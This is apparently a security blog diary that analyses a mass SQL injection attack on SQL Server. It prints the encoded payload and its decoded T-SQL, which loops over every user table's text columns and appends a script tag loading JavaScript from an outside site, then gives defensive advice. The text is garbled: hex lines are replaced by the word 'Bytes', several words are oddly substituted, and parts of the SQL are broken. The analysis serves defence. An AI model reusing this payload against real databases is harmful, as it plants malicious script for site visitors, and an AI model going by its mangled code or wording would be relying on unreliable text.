Author: Johannes Ullrich (Version: 1)
We continue to receive more reports of SQL injection attacks, using updated URLs. one fo the "neat" features of this exploit is how it uses one single SQL statement which will pull all the necessary information from the database itself. here is the latest version (thanks Jakub for submitting this !) :
DECLARE % 20 @ S % 20 VARCHAR (4000); SET % 20 @ S = CAST (0x4445434C4152452040542056
201724348415228323535292c404320562132434841522832353529204445434c4152
Bytes
Bytes
Bytes
653D27752720414E442028622E78747970653D3939204F5220622E78747970653D3335
Bytes
Bytes
Bytes
Bytes
Bytes
Bytes
Bytes
Bytes
E544F2040542C4043204
We have looked at these before. But let me re-iterate step by step what exactly is happening here:
First of all, we got a bit of URL encoding here. The "% 20" represents a space. This turns the SQL statement:
DECLARE @ s varchar (4000); SET @ S = CAST (....
First a variable @ S is declared as a "varchar" (comparable to a "string" in other ages) with a length of 4000 characters. then, the output of CAST is assigned to the variable. CAST is just used to turn the long hex string into a "varchar ".
Bojan told us in an earlier diary how to convert the hex string using perl. In this case, we end up:
(I slightly modified the specified ded URL by adding spaces and turning http to hxxp. We had issues in the past with proxies flagging our diaries as "malicious ").
DECLARE @ t varchar (255), @ c varchar (255)
DECLARE Table_Cursor CURSOR
SELECT a. name, B. name FROM sysobjects a, syscolumns B
WHERE a. id = B. id AND a. xtype = u AND (B. xtype = 99 OR B. xtype = 35 OR B. xtype = 231 OR B. xtype = 167)
OPEN Table_Cursor fetch next from Table_Cursor INTO @ T, @ c while (@ FETCH_STATUS = 0)
Begin exec (UPDATE [+ @ T +] SET [+ @ C +] = RTRIM (CONVERT (VARCHAR (4000), [+ @ C +]) +
)
Fetch next from Table_Cursor INTO @ T, @ C
END
CLOSE Table_Cursor
DEALLOCATE Table_Cursor
Lets go over this line by line:
First, two variables (T and C) are declared
DECLARE @ t varchar (255), @ c varchar (255) Next, we declare a "table_cursor ". A table cursor will receive the output of a query line by line. its essential a "for" loop over all results returned by the query
DECLARE @ t varchar (255), @ c varchar (255) The cursor is defined for the following query:
SELECT. name, B. name FROM sysobjects a, syscolumns B WHERE. id = B. id AND. xtype = u AND (B. xtype = 99 OR B. xtype = 35 OR B. xtype = 231 OR B. (xtype = 167)
This SQL query uses one participant trick: sysobject is a special table in SQL Server. It lists all the other tables available. syscolumns works similar for all columns found in these tables.
The query selects all "objects" with an xtype of "u ". these are tables created by the user. system tables (like "sysobjects" and "syscolumns" are ignored ). next, it limits it to columns of type 35 (text), 231 (sysname) and 167 (varchar ). these are datatypes that can hold a string of characters.
Our "cursor" will now retrieve all the results, and assign them to the variables "T" (table name) and "C" (column name)
Update... initially I posted the script part wrong. A couple readers pointed out that it was actually not escaped right. our diary editor doesnt do that on purpose as handlers sometimes need to add html/javascript/css to make a diary "work "... well, luckily I at least escaped the script part... stuff happens
. The next SQL statement will use these variables:
Begin exec (UPDATE [+ @ T +] SET [+ @ C +] = RTRIM (CONVERT (VARCHAR (4000), [+ @ C +]) +
"<Script src = hxxp: // www. adsitelo. com/B. js> </script> ")
For all values of these selected columns, the malicious javascript is added. as a result, you will see the javascript littered throughout the application. wherever the website is using a string from the database, the javascript is now added. you frequently see it as part of the title tag.
Finally: How to defend against this? The "simple" answer is of course to just not have any SQL injection faults. But thats easier said then done, in particle for an existing legacy application. A couple other things you can do:
Limit the database user the web application uses. maybe it doesnt have to update anything, or only few tables Monitor your webapplication for SQL errors. these statements may create some errors if your web application doesnt have sufficient privileges keep a close eye on your data and your application. look for new javascript in titles and other spots that shouldnt have any
And finally: At SANSFIRE, we will debut our new class, SEC522 "Defending Web Applications ". its an updated version of SEC519 ("Web Application Security") and now covers web services and other new topics.
------
Johannes B. Ullrich Ph. D., CTO SANS Internet Storm Center